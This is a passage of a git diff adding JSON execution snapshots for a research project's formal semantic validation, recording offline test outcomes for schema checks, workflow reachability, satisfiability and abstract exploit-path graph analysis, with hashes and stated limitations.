"diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "1ab0580525136667bbc713d3c2f4a7820bab08da", + "source_state": { + "base_revision": "1ab0580525136667bbc713d3c2f4a7820bab08da", + "checkout_state": "modified", + "implementation_digest": "8d88bc09c7df0c12fc49d175c52ee372ae7b452a9355f42851a755e0c3d83982", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v23.json b/docs/research/formal-semantic-validation/execution-snapshot-v23.json new file mode 100644 index 000000000..7bc51ff59 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v23.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1242-execution-v22", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v22.json", + "release_revision": "23.0.0", + "release_sha256": "484658aa4ff7e6b59ef4fe47bcd0790904bc3d7775db39b9a3dd1d43abf65a3f" + }, + "captured_at": "2026-09-16T07:35:25.788264+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v23", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1242-execution-v23", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + 